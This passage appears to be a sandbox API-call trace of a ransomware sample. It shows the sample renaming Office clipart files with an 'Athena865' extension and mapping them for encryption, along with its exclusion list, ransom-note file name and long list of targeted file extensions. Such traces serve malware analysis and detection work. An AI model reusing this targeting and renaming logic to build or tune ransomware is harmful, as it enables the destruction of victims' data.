1 [0130.295] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.296] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0301044.WMF" | out: lpString1="J0301044.WMF") returned="J0301044.WMF" [0130.296] lstrlenW (lpString="J0301044.WMF") returned 12 [0130.296] lstrlenW (lpString="Athena865") returned 9 [0130.296] lstrcmpiW (lpString1="01044.WMF", lpString2="Athena865") returned -1 [0130.296] lstrlenW (lpString=".dll") returned 4 [0130.296] lstrcmpiW (lpString1="J0301044.WMF", lpString2=".dll") returned 1 [0130.296] lstrlenW (lpString=".lnk") returned 4 [0130.296] lstrcmpiW (lpString1="J0301044.WMF", lpString2=".lnk") returned 1 [0130.296] lstrlenW (lpString=".ini") returned 4 [0130.296] lstrcmpiW (lpString1="J0301044.WMF", lpString2=".ini") returned 1 [0130.296] lstrlenW (lpString=".sys") returned 4 [0130.296] lstrcmpiW (lpString1="J0301044.WMF", lpString2=".sys") returned 1 [0130.296] lstrlenW (lpString="J0301044.WMF") returned 12 [0130.296] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.Athena865") returned 73 [0130.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf.athena865"), dwFlags=0x1) returned 1 [0130.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.298] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11022) returned 1 [0130.298] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.299] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.299] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.299] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e10, lpName=0x0) returned 0x154 [0130.300] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e10) returned 0x100000 [0130.301] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.302] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.302] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.303] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0301052.WMF" | out: lpString1="J0301052.WMF") returned="J0301052.WMF" [0130.303] lstrlenW (lpString="J0301052.WMF") returned 12 [0130.303] lstrlenW (lpString="Athena865") returned 9 [0130.303] lstrcmpiW (lpString1="01052.WMF", lpString2="Athena865") returned -1 [0130.303] lstrlenW (lpString=".dll") returned 4 [0130.303] lstrcmpiW (lpString1="J0301052.WMF", lpString2=".dll") returned 1 [0130.303] lstrlenW (lpString=".lnk") returned 4 [0130.303] lstrcmpiW (lpString1="J0301052.WMF", lpString2=".lnk") returned 1 [0130.303] lstrlenW (lpString=".ini") returned 4 [0130.303] lstrcmpiW (lpString1="J0301052.WMF", lpString2=".ini") returned 1 [0130.303] lstrlenW (lpString=".sys") returned 4 [0130.303] lstrcmpiW (lpString1="J0301052.WMF", lpString2=".sys") returned 1 [0130.303] lstrlenW (lpString="J0301052.WMF") returned 12 [0130.303] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.Athena865") returned 73 [0130.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf.athena865"), dwFlags=0x1) returned 1 [0130.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.305] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10984) returned 1 [0130.305] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.306] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.306] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.306] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2df0, lpName=0x0) returned 0x154 [0130.307] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2df0) returned 0x100000 [0130.308] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.309] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.309] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.310] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0301418.WMF" | out: lpString1="J0301418.WMF") returned="J0301418.WMF" [0130.310] lstrlenW (lpString="J0301418.WMF") returned 12 [0130.310] lstrlenW (lpString="Athena865") returned 9 [0130.310] lstrcmpiW (lpString1="01418.WMF", lpString2="Athena865") returned -1 [0130.310] lstrlenW (lpString=".dll") returned 4 [0130.310] lstrcmpiW (lpString1="J0301418.WMF", lpString2=".dll") returned 1 [0130.310] lstrlenW (lpString=".lnk") returned 4 [0130.310] lstrcmpiW (lpString1="J0301418.WMF", lpString2=".lnk") returned 1 [0130.310] lstrlenW (lpString=".ini") returned 4 [0130.310] lstrcmpiW (lpString1="J0301418.WMF", lpString2=".ini") returned 1 [0130.310] lstrlenW (lpString=".sys") returned 4 [0130.310] lstrcmpiW (lpString1="J0301418.WMF", lpString2=".sys") returned 1 [0130.310] lstrlenW (lpString="J0301418.WMF") returned 12 [0130.310] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.Athena865") returned 73 [0130.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf.athena865"), dwFlags=0x1) returned 1 [0130.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.312] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19034) returned 1 [0130.312] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.313] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.313] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.313] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d60, lpName=0x0) returned 0x154 [0130.314] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d60) returned 0x100000 [0130.316] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.316] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.317] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.317] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0301432.WMF" | out: lpString1="J0301432.WMF") returned="J0301432.WMF" [0130.317] lstrlenW (lpString="J0301432.WMF") returned 12 [0130.317] lstrlenW (lpString="Athena865") returned 9 [0130.317] lstrcmpiW (lpString1="01432.WMF", lpString2="Athena865") returned -1 [0130.317] lstrlenW (lpString=".dll") returned 4 [0130.317] lstrcmpiW (lpString1="J0301432.WMF", lpString2=".dll") returned 1 [0130.317] lstrlenW (lpString=".lnk") returned 4 [0130.317] lstrcmpiW (lpString1="J0301432.WMF", lpString2=".lnk") returned 1 [0130.317] lstrlenW (lpString=".ini") returned 4 [0130.318] lstrcmpiW (lpString1="J0301432.WMF", lpString2=".ini") returned 1 [0130.318] lstrlenW (lpString=".sys") returned 4 [0130.318] lstrcmpiW (lpString1="J0301432.WMF", lpString2=".sys") returned 1 [0130.318] lstrlenW (lpString="J0301432.WMF") returned 12 [0130.318] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.Athena865") returned 73 [0130.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf.athena865"), dwFlags=0x1) returned 1 [0130.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.319] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19962) returned 1 [0130.319] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.320] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.320] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.320] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5100, lpName=0x0) returned 0x154 [0130.322] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5100) returned 0x100000 [0130.323] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.324] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.324] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.325] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.325] CloseHandle (hObject=0x154) returned 1 [0130.325] CloseHandle (hObject=0x17c) returned 1 [0130.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.326] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0304371.WMF", cAlternateFileName="")) returned 1 [0130.326] lstrcmpiW (lpString1="J0304371.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.326] lstrcmpiW (lpString1="J0304371.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.326] lstrcmpiW (lpString1="J0304371.WMF", lpString2=".") returned 1 [0130.326] lstrcmpiW (lpString1="J0304371.WMF", lpString2="..") returned 1 [0130.326] lstrcmpiW (lpString1="J0304371.WMF", lpString2="windows") returned -1 [0130.326] lstrcmpiW (lpString1="J0304371.WMF", lpString2="bootmgr") returned 1 [0130.326] lstrcmpiW (lpString1="J0304371.WMF", lpString2="temp") returned -1 [0130.326] lstrcmpiW (lpString1="J0304371.WMF", lpString2="pagefile.sys") returned -1 [0130.326] lstrcmpiW (lpString1="J0304371.WMF", lpString2="boot") returned 1 [0130.326] lstrcmpiW (lpString1="J0304371.WMF", lpString2="ids.txt") returned 1 [0130.326] lstrcmpiW (lpString1="J0304371.WMF", lpString2="ntuser.dat") returned -1 [0130.326] lstrcmpiW (lpString1="J0304371.WMF", lpString2="perflogs") returned -1 [0130.326] lstrcmpiW (lpString1="J0304371.WMF", lpString2="MSBuild") returned -1 [0130.326] lstrlenW (lpString="J0304371.WMF") returned 12 [0130.326] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0304371.WMF" | out: lpString1="J0304371.WMF") returned="J0304371.WMF" [0130.327] lstrlenW (lpString="J0304371.WMF") returned 12 [0130.327] lstrlenW (lpString="Athena865") returned 9 [0130.327] lstrcmpiW (lpString1="04371.WMF", lpString2="Athena865") returned -1 [0130.327] lstrlenW (lpString=".dll") returned 4 [0130.327] lstrcmpiW (lpString1="J0304371.WMF", lpString2=".dll") returned 1 [0130.327] lstrlenW (lpString=".lnk") returned 4 [0130.327] lstrcmpiW (lpString1="J0304371.WMF", lpString2=".lnk") returned 1 [0130.327] lstrlenW (lpString=".ini") returned 4 [0130.327] lstrcmpiW (lpString1="J0304371.WMF", lpString2=".ini") returned 1 [0130.327] lstrlenW (lpString=".sys") returned 4 [0130.327] lstrcmpiW (lpString1="J0304371.WMF", lpString2=".sys") returned 1 [0130.327] lstrlenW (lpString="J0304371.WMF") returned 12 [0130.327] lstrlenW (lpString="bak") returned 3 [0130.327] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0130.327] lstrlenW (lpString="ba_") returned 3 [0130.327] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0130.327] lstrlenW (lpString="dbb") returned 3 [0130.327] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0130.327] lstrlenW (lpString="vmdk") returned 4 [0130.327] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0130.327] lstrlenW (lpString="rar") returned 3 [0130.327] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0130.327] lstrlenW (lpString="zip") returned 3 [0130.327] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0130.327] lstrlenW (lpString="tgz") returned 3 [0130.327] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0130.328] lstrlenW (lpString="vbox") returned 4 [0130.328] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0130.328] lstrlenW (lpString="vdi") returned 3 [0130.328] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0130.328] lstrlenW (lpString="vhd") returned 3 [0130.328] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0130.328] lstrlenW (lpString="vhdx") returned 4 [0130.328] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0130.328] lstrlenW (lpString="avhd") returned 4 [0130.328] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0130.328] lstrlenW (lpString="db") returned 2 [0130.328] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0130.328] lstrlenW (lpString="db2") returned 3 [0130.328] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0130.328] lstrlenW (lpString="db3") returned 3 [0130.328] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0130.328] lstrlenW (lpString="dbf") returned 3 [0130.328] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0130.328] lstrlenW (lpString="mdf") returned 3 [0130.328] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0130.328] lstrlenW (lpString="mdb") returned 3 [0130.328] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0130.328] lstrlenW (lpString="sql") returned 3 [0130.328] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0130.328] lstrlenW (lpString="sqlite") returned 6 [0130.328] lstrcmpiW (lpString1="71.WMF", lpString2="sqlite") returned -1 [0130.328] lstrlenW (lpString="sqlite3") returned 7 [0130.328] lstrcmpiW (lpString1="371.WMF", lpString2="sqlite3") returned -1 [0130.329] lstrlenW (lpString="sqlitedb") returned 8 [0130.329] lstrcmpiW (lpString1="4371.WMF", lpString2="sqlitedb") returned -1 [0130.329] lstrlenW (lpString="xml") returned 3 [0130.329] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0130.329] lstrlenW (lpString="$er") returned 3 [0130.329] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0130.329] lstrlenW (lpString="4dd") returned 3 [0130.329] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0130.329] lstrlenW (lpString="4dl") returned 3 [0130.329] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0130.329] lstrlenW (lpString="^^^") returned 3 [0130.329] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0130.329] lstrlenW (lpString="abs") returned 3 [0130.329] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0130.329] lstrlenW (lpString="abx") returned 3 [0130.329] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0130.329] lstrlenW (lpString="accdb") returned 5 [0130.329] lstrcmpiW (lpString1="1.WMF", lpString2="accdb") returned -1 [0130.329] lstrlenW (lpString="accdc") returned 5 [0130.329] lstrcmpiW (lpString1="1.WMF", lpString2="accdc") returned -1 [0130.329] lstrlenW (lpString="accde") returned 5 [0130.329] lstrcmpiW (lpString1="1.WMF", lpString2="accde") returned -1 [0130.329] lstrlenW (lpString="accdr") returned 5 [0130.329] lstrcmpiW (lpString1="1.WMF", lpString2="accdr") returned -1 [0130.329] lstrlenW (lpString="accdt") returned 5 [0130.329] lstrcmpiW (lpString1="1.WMF", lpString2="accdt") returned -1 [0130.329] lstrlenW (lpString="accdw") returned 5 [0130.330] lstrcmpiW (lpString1="1.WMF", lpString2="accdw") returned -1 [0130.330] lstrlenW (lpString="accft") returned 5 [0130.330] lstrcmpiW (lpString1="1.WMF", lpString2="accft") returned -1 [0130.330] lstrlenW (lpString="adb") returned 3 [0130.330] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0130.330] lstrlenW (lpString="adb") returned 3 [0130.330] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0130.330] lstrlenW (lpString="ade") returned 3 [0130.330] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0130.330] lstrlenW (lpString="adf") returned 3 [0130.330] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0130.330] lstrlenW (lpString="adn") returned 3 [0130.330] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0130.330] lstrlenW (lpString="adp") returned 3 [0130.330] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0130.330] lstrlenW (lpString="alf") returned 3 [0130.330] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0130.330] lstrlenW (lpString="ask") returned 3 [0130.330] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0130.330] lstrlenW (lpString="btr") returned 3 [0130.330] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0130.330] lstrlenW (lpString="cat") returned 3 [0130.330] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0130.330] lstrlenW (lpString="cdb") returned 3 [0130.330] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0130.330] lstrlenW (lpString="ckp") returned 3 [0130.330] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0130.331] lstrlenW (lpString="cma") returned 3 [0130.331] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0130.331] lstrlenW (lpString="cpd") returned 3 [0130.331] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0130.331] lstrlenW (lpString="dacpac") returned 6 [0130.331] lstrcmpiW (lpString1="71.WMF", lpString2="dacpac") returned -1 [0130.331] lstrlenW (lpString="dad") returned 3 [0130.331] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0130.331] lstrlenW (lpString="dadiagrams") returned 10 [0130.331] lstrcmpiW (lpString1="304371.WMF", lpString2="dadiagrams") returned -1 [0130.331] lstrlenW (lpString="daschema") returned 8 [0130.331] lstrcmpiW (lpString1="4371.WMF", lpString2="daschema") returned -1 [0130.331] lstrlenW (lpString="db-journal") returned 10 [0130.331] lstrcmpiW (lpString1="304371.WMF", lpString2="db-journal") returned -1 [0130.331] lstrlenW (lpString="db-shm") returned 6 [0130.331] lstrcmpiW (lpString1="71.WMF", lpString2="db-shm") returned -1 [0130.331] lstrlenW (lpString="db-wal") returned 6 [0130.331] lstrcmpiW (lpString1="71.WMF", lpString2="db-wal") returned -1 [0130.331] lstrlenW (lpString="dbc") returned 3 [0130.331] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0130.331] lstrlenW (lpString="dbs") returned 3 [0130.331] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0130.331] lstrlenW (lpString="dbt") returned 3 [0130.331] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0130.331] lstrlenW (lpString="dbv") returned 3 [0130.331] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0130.332] lstrlenW (lpString="dbx") returned 3 [0130.332] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0130.332] lstrlenW (lpString="dcb") returned 3 [0130.332] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0130.332] lstrlenW (lpString="dct") returned 3 [0130.332] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0130.332] lstrlenW (lpString="dcx") returned 3 [0130.332] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0130.332] lstrlenW (lpString="ddl") returned 3 [0130.332] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0130.332] lstrlenW (lpString="dlis") returned 4 [0130.332] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0130.332] lstrlenW (lpString="dp1") returned 3 [0130.332] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0130.332] lstrlenW (lpString="dqy") returned 3 [0130.332] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0130.332] lstrlenW (lpString="dsk") returned 3 [0130.332] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0130.332] lstrlenW (lpString="dsn") returned 3 [0130.332] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0130.332] lstrlenW (lpString="dtsx") returned 4 [0130.332] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0130.332] lstrlenW (lpString="dxl") returned 3 [0130.332] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0130.332] lstrlenW (lpString="eco") returned 3 [0130.332] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0130.332] lstrlenW (lpString="ecx") returned 3 [0130.333] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0130.333] lstrlenW (lpString="edb") returned 3 [0130.333] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0130.333] lstrlenW (lpString="epim") returned 4 [0130.333] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0130.333] lstrlenW (lpString="fcd") returned 3 [0130.333] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0130.333] lstrlenW (lpString="fdb") returned 3 [0130.333] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0130.333] lstrlenW (lpString="fic") returned 3 [0130.333] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0130.333] lstrlenW (lpString="flexolibrary") returned 12 [0130.333] lstrlenW (lpString="fm5") returned 3 [0130.333] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0130.333] lstrlenW (lpString="fmp") returned 3 [0130.333] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0130.333] lstrlenW (lpString="fmp12") returned 5 [0130.333] lstrcmpiW (lpString1="1.WMF", lpString2="fmp12") returned -1 [0130.333] lstrlenW (lpString="fmpsl") returned 5 [0130.333] lstrcmpiW (lpString1="1.WMF", lpString2="fmpsl") returned -1 [0130.333] lstrlenW (lpString="fol") returned 3 [0130.333] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0130.333] lstrlenW (lpString="fp3") returned 3 [0130.333] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0130.333] lstrlenW (lpString="fp4") returned 3 [0130.333] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0130.334] lstrlenW (lpString="fp5") returned 3 [0130.334] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0130.334] lstrlenW (lpString="fp7") returned 3 [0130.334] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0130.334] lstrlenW (lpString="fpt") returned 3 [0130.334] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0130.334] lstrlenW (lpString="frm") returned 3 [0130.334] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0130.334] lstrlenW (lpString="gdb") returned 3 [0130.334] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0130.334] lstrlenW (lpString="gdb") returned 3 [0130.334] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0130.334] lstrlenW (lpString="grdb") returned 4 [0130.334] lstrcmpiW (lpString1=".WMF", lpString2="grdb") 